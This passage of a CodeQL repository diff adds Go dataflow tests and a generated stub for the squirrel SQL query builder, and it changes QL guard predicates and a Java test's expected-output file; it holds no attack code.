sink(r63) // $ hasTaintFlow="r63"
|
||||
}
|
||||
|
||||
func test_Masterminds_squirrel_SelectBuilder(ctx context.Context, builder squirrel.SelectBuilder) {
|
||||
v1, err := builder.Query() // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v1) // $ hasTaintFlow="v1"
|
||||
|
||||
v2, err := builder.QueryContext(ctx) // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v2) // $ hasTaintFlow="v2"
|
||||
|
||||
s3 := builder.QueryRow() // $ source
|
||||
|
||||
var r31, r32, r33 string
|
||||
s3.Scan(&r31, &r32, &r33)
|
||||
|
||||
sink(r31) // $ hasTaintFlow="r31"
|
||||
sink(r32) // $ hasTaintFlow="r32"
|
||||
sink(r33) // $ hasTaintFlow="r33"
|
||||
|
||||
s4 := builder.QueryRowContext(ctx) // $ source
|
||||
|
||||
var r41, r42, r43 string
|
||||
s4.Scan(&r41, &r42, &r43)
|
||||
|
||||
sink(r41) // $ hasTaintFlow="r41"
|
||||
sink(r42) // $ hasTaintFlow="r42"
|
||||
sink(r43) // $ hasTaintFlow="r43"
|
||||
|
||||
builder2 := src.Source[squirrel.SelectBuilder]() // $ source
|
||||
|
||||
var r51, r52, r53 string
|
||||
builder2.Scan(&r51, &r52, &r53)
|
||||
|
||||
sink(r51) // $ hasTaintFlow="r51"
|
||||
sink(r52) // $ hasTaintFlow="r52"
|
||||
sink(r53) // $ hasTaintFlow="r53"
|
||||
|
||||
var r61, r62, r63 string
|
||||
builder2.ScanContext(ctx, &r61, &r62, &r63)
|
||||
|
||||
sink(r61) // $ hasTaintFlow="r61"
|
||||
sink(r62) // $ hasTaintFlow="r62"
|
||||
sink(r63) // $ hasTaintFlow="r63"
|
||||
}
|
||||
|
||||
func test_Masterminds_squirrel_UpdateBuilder(ctx context.Context, builder squirrel.UpdateBuilder) {
|
||||
v1, err := builder.Query() // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v1) // $ hasTaintFlow="v1"
|
||||
|
||||
v2, err := builder.QueryContext(ctx) // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v2) // $ hasTaintFlow="v2"
|
||||
|
||||
s3 := builder.QueryRow() // $ source
|
||||
|
||||
var r31, r32, r33 string
|
||||
s3.Scan(&r31, &r32, &r33)
|
||||
|
||||
sink(r31) // $ hasTaintFlow="r31"
|
||||
sink(r32) // $ hasTaintFlow="r32"
|
||||
sink(r33) // $ hasTaintFlow="r33"
|
||||
|
||||
s4 := builder.QueryRowContext(ctx) // $ source
|
||||
|
||||
var r41, r42, r43 string
|
||||
s4.Scan(&r41, &r42, &r43)
|
||||
|
||||
sink(r41) // $ hasTaintFlow="r41"
|
||||
sink(r42) // $ hasTaintFlow="r42"
|
||||
sink(r43) // $ hasTaintFlow="r43"
|
||||
|
||||
builder2 := src.Source[squirrel.UpdateBuilder]() // $ source
|
||||
|
||||
var r51, r52, r53 string
|
||||
builder2.Scan(&r51, &r52, &r53)
|
||||
|
||||
sink(r51) // $ hasTaintFlow="r51"
|
||||
sink(r52) // $ hasTaintFlow="r52"
|
||||
sink(r53) // $ hasTaintFlow="r53"
|
||||
|
||||
var r61, r62, r63 string
|
||||
builder2.ScanContext(ctx, &r61, &r62, &r63)
|
||||
|
||||
sink(r61) // $ hasTaintFlow="r61"
|
||||
sink(r62) // $ hasTaintFlow="r62"
|
||||
sink(r63) // $ hasTaintFlow="r63"
|
||||
}
|
||||
501
go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go
generated
vendored
Normal file
501
go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/Masterminds/squirrel/stub.go
generated
vendored
Normal file
@@ -0,0 +1,501 @@
|
||||
// Code generated by depstubber. DO NOT EDIT.
|
||||
// This is a simple stub for github.com/Masterminds/squirrel, strictly for use in testing.
|
||||
|
||||
// See the LICENSE file for information about the licensing of the original library.
|
||||
// Source: github.com/Masterminds/squirrel (exports: DeleteBuilder,InsertBuilder,QueryRower,QueryRowerContext,Queryer,QueryerContext,SelectBuilder,StdSql,StdSqlCtx,UpdateBuilder; functions: QueryContextWith,QueryRowContextWith,QueryRowWith,QueryWith)
|
||||
|
||||
// Package squirrel is a stub of github.com/Masterminds/squirrel, generated by depstubber.
|
||||
package squirrel
|
||||
|
||||
import (
|
||||
context "context"
|
||||
sql "database/sql"
|
||||
)
|
||||
|
||||
type BaseRunner interface {
|
||||
Exec(_ string, _ ...interface{}) (sql.Result, error)
|
||||
Query(_ string, _ ...interface{}) (*sql.Rows, error)
|
||||
}
|
||||
|
||||
type DeleteBuilder struct{}
|
||||
|
||||
func (_ DeleteBuilder) Exec() (sql.Result, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) ExecContext(_ context.Context) (sql.Result, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) From(_ string) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) Limit(_ uint64) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) MustSql() (string, []interface{}) {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) Offset(_ uint64) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) OrderBy(_ ...string) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) PlaceholderFormat(_ PlaceholderFormat) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) Prefix(_ string, _ ...interface{}) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) PrefixExpr(_ Sqlizer) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) Query() (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) QueryRowContext(_ context.Context) RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) RunWith(_ BaseRunner) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) Suffix(_ string, _ ...interface{}) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) SuffixExpr(_ Sqlizer) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) ToSql() (string, []interface{}, error) {
|
||||
return "", nil, nil
|
||||
}
|
||||
|
||||
func (_ DeleteBuilder) Where(_ interface{}, _ ...interface{}) DeleteBuilder {
|
||||
return DeleteBuilder{}
|
||||
}
|
||||
|
||||
type InsertBuilder struct{}
|
||||
|
||||
func (_ InsertBuilder) Columns(_ ...string) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Exec() (sql.Result, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) ExecContext(_ context.Context) (sql.Result, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Into(_ string) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) MustSql() (string, []interface{}) {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Options(_ ...string) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) PlaceholderFormat(_ PlaceholderFormat) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Prefix(_ string, _ ...interface{}) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) PrefixExpr(_ Sqlizer) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Query() (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) QueryRow() RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) QueryRowContext(_ context.Context) RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) RunWith(_ BaseRunner) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Scan(_ ...interface{}) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Select(_ SelectBuilder) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) SetMap(_ map[string]interface{}) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Suffix(_ string, _ ...interface{}) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) SuffixExpr(_ Sqlizer) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) ToSql() (string, []interface{}, error) {
|
||||
return "", nil, nil
|
||||
}
|
||||
|
||||
func (_ InsertBuilder) Values(_ ...interface{}) InsertBuilder {
|
||||
return InsertBuilder{}
|
||||
}
|
||||
|
||||
type PlaceholderFormat interface {
|
||||
ReplacePlaceholders(_ string) (string, error)
|
||||
}
|
||||
|
||||
func QueryContextWith(_ context.Context, _ QueryerContext, _ Sqlizer) (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func QueryRowContextWith(_ context.Context, _ QueryRowerContext, _ Sqlizer) RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
func QueryRowWith(_ QueryRower, _ Sqlizer) RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
type QueryRower interface {
|
||||
QueryRow(_ string, _ ...interface{}) RowScanner
|
||||
}
|
||||
|
||||
type QueryRowerContext interface {
|
||||
QueryRowContext(_ context.Context, _ string, _ ...interface{}) RowScanner
|
||||
}
|
||||
|
||||
func QueryWith(_ Queryer, _ Sqlizer) (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
type Queryer interface {
|
||||
Query(_ string, _ ...interface{}) (*sql.Rows, error)
|
||||
}
|
||||
|
||||
type QueryerContext interface {
|
||||
QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
|
||||
}
|
||||
|
||||
type RowScanner interface {
|
||||
Scan(_ ...interface{}) error
|
||||
}
|
||||
|
||||
type SelectBuilder struct{}
|
||||
|
||||
func (_ SelectBuilder) Column(_ interface{}, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Columns(_ ...string) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) CrossJoin(_ string, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Distinct() SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Exec() (sql.Result, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) ExecContext(_ context.Context) (sql.Result, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) From(_ string) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) FromSelect(_ SelectBuilder, _ string) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) GroupBy(_ ...string) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Having(_ interface{}, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) InnerJoin(_ string, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Join(_ string, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) JoinClause(_ interface{}, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) LeftJoin(_ string, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Limit(_ uint64) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) MustSql() (string, []interface{}) {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Offset(_ uint64) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Options(_ ...string) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) OrderBy(_ ...string) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) OrderByClause(_ interface{}, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) PlaceholderFormat(_ PlaceholderFormat) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Prefix(_ string, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) PrefixExpr(_ Sqlizer) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Query() (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) QueryRow() RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) QueryRowContext(_ context.Context) RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) RemoveColumns() SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) RemoveLimit() SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) RemoveOffset() SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) RightJoin(_ string, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) RunWith(_ BaseRunner) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Scan(_ ...interface{}) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Suffix(_ string, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) SuffixExpr(_ Sqlizer) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) ToSql() (string, []interface{}, error) {
|
||||
return "", nil, nil
|
||||
}
|
||||
|
||||
func (_ SelectBuilder) Where(_ interface{}, _ ...interface{}) SelectBuilder {
|
||||
return SelectBuilder{}
|
||||
}
|
||||
|
||||
type Sqlizer interface {
|
||||
ToSql() (string, []interface{}, error)
|
||||
}
|
||||
|
||||
type StdSql interface {
|
||||
Exec(_ string, _ ...interface{}) (sql.Result, error)
|
||||
Query(_ string, _ ...interface{}) (*sql.Rows, error)
|
||||
QueryRow(_ string, _ ...interface{}) *sql.Row
|
||||
}
|
||||
|
||||
type StdSqlCtx interface {
|
||||
Exec(_ string, _ ...interface{}) (sql.Result, error)
|
||||
ExecContext(_ context.Context, _ string, _ ...interface{}) (sql.Result, error)
|
||||
Query(_ string, _ ...interface{}) (*sql.Rows, error)
|
||||
QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
|
||||
QueryRow(_ string, _ ...interface{}) *sql.Row
|
||||
QueryRowContext(_ context.Context, _ string, _ ...interface{}) *sql.Row
|
||||
}
|
||||
|
||||
type UpdateBuilder struct{}
|
||||
|
||||
func (_ UpdateBuilder) Exec() (sql.Result, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) ExecContext(_ context.Context) (sql.Result, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) From(_ string) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) FromSelect(_ SelectBuilder, _ string) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Limit(_ uint64) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) MustSql() (string, []interface{}) {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Offset(_ uint64) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) OrderBy(_ ...string) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) PlaceholderFormat(_ PlaceholderFormat) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Prefix(_ string, _ ...interface{}) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) PrefixExpr(_ Sqlizer) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Query() (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) QueryRow() RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) QueryRowContext(_ context.Context) RowScanner {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) RunWith(_ BaseRunner) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Scan(_ ...interface{}) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Set(_ string, _ interface{}) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) SetMap(_ map[string]interface{}) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Suffix(_ string, _ ...interface{}) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) SuffixExpr(_ Sqlizer) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Table(_ string) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) ToSql() (string, []interface{}, error) {
|
||||
return "", nil, nil
|
||||
}
|
||||
|
||||
func (_ UpdateBuilder) Where(_ interface{}, _ ...interface{}) UpdateBuilder {
|
||||
return UpdateBuilder{}
|
||||
}
|
||||
5
go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go
generated
vendored
Normal file
5
go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/nonexistent/sources/stub.go
generated
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
package sources
|
||||
|
||||
func Source[T any]() T {
|
||||
return *new(T)
|
||||
}
|
||||
@@ -13,6 +13,9 @@ github.com/couchbase/gocb/v2
|
||||
# github.com/jmoiron/sqlx v1.4.0
|
||||
## explicit
|
||||
github.com/jmoiron/sqlx
|
||||
# github.com/Masterminds/squirrel v1.5.4
|
||||
## explicit
|
||||
github.com/Masterminds/squirrel
|
||||
# github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a
|
||||
## explicit
|
||||
github.com/rqlite/gorqlite
|
||||
@@ -22,6 +25,9 @@ go.mongodb.org/mongo-driver/mongo
|
||||
# gorm.io/gorm v1.25.12
|
||||
## explicit
|
||||
gorm.io/gorm
|
||||
# github.com/nonexistent/sources v0.0.0-20250300000000-000000000000
|
||||
## explicit
|
||||
github.com/nonexistent/sources
|
||||
# github.com/couchbase/gocbcore/v10 v10.5.4
|
||||
## explicit
|
||||
github.com/couchbase/gocbcore/v10
|
||||
|
||||
@@ -680,10 +680,17 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu
|
||||
}
|
||||
}
|
||||
|
||||
/** Holds if the guard `guard` directly controls block `bb` upon evaluating to `branch`. */
|
||||
predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch) {
|
||||
guard.directlyControls(bb, branch)
|
||||
}
|
||||
|
||||
/** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */
|
||||
predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch) {
|
||||
guard.controls(bb, branch)
|
||||
}
|
||||
|
||||
predicate includeWriteDefsInFlowStep() { none() }
|
||||
}
|
||||
|
||||
private module DataFlowIntegrationImpl = Impl::DataFlowIntegration<DataFlowIntegrationInput>;
|
||||
|
||||
@@ -1,10 +1,7 @@
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [p] |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [p] |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:15:16:15:16 | a : new A(...) { ... } [p] |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:15:16:15:22 | get(...) : String |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:18:8:18:15 | p : String |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:18:25:40:3 | SSA def(p) : String |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [p] |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [p] |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:28:11:38:5 | p : String |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [p] |
|
||||
@@ -16,16 +13,12 @@
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:35:26:35:27 | this : new A(...) { ... } [p] |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:39:12:39:12 | a : new A(...) { ... } [p] |
|
||||
| A.java:14:14:14:16 | "A" : String | A.java:39:12:39:12 | p : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [String s] |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [String s] |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:15:16:15:16 | a : new A(...) { ... } [String s] |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:15:16:15:22 | get(...) : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | ...=... : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | SSA def(s) : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | [input] SSA phi(s) : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | SSA phi(s) : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | phi(String s) : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [String s] |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | String s : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] |
|
||||
@@ -37,16 +30,12 @@
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:35:26:35:27 | this : new A(...) { ... } [String s] |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:39:12:39:12 | String s : String |
|
||||
| A.java:21:11:21:13 | "B" : String | A.java:39:12:39:12 | a : new A(...) { ... } [String s] |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [String s] |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [String s] |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:15:16:15:16 | a : new A(...) { ... } [String s] |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:15:16:15:22 | get(...) : String |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | ...=... : String |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | SSA def(s) : String |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | [input] SSA phi(s) : String |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | SSA phi(s) : String |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | phi(String s) : String |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [String s] |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | String s : String |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] |
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] |
|
||||
@@ -60,20 +49,16 @@
|
||||
| A.java:23:11:23:13 | "C" : String | A.java:39:12:39:12 | a : new A(...) { ... } [String s] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:4:5:4:7 | parameter this [Return] : Box [elem] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:4:9:4:16 | e : String |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:4:19:4:31 | SSA def(e) : String |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:4:21:4:24 | this <.field> [post update] : Box [elem] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:4:21:4:28 | ...=... : String |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:4:28:4:28 | e : String |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:6:12:6:18 | parameter this : Box [elem] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:6:31:6:34 | elem : String |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:6:31:6:34 | this <.field> : Box [elem] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [Box b1, ... (2)] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [Box b1, ... (2)] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:15:16:15:16 | a : new A(...) { ... } [Box b1, ... (2)] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:15:16:15:22 | get(...) : String |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:25:9:25:25 | SSA def(b1) : Box [elem] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:25:14:25:25 | new Box(...) : Box [elem] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [Box b1, ... (2)] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:28:11:38:5 | Box b1 : Box [elem] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [Box b1, ... (2)] |
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [Box b1, ... (2)] |
|
||||
@@ -88,19 +73,16 @@
|
||||
| A.java:25:22:25:24 | "D" : String | A.java:39:12:39:12 | a : new A(...) { ... } [Box b1, ... (2)] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:5:10:5:16 | parameter this [Return] : Box [elem] |
|
||||
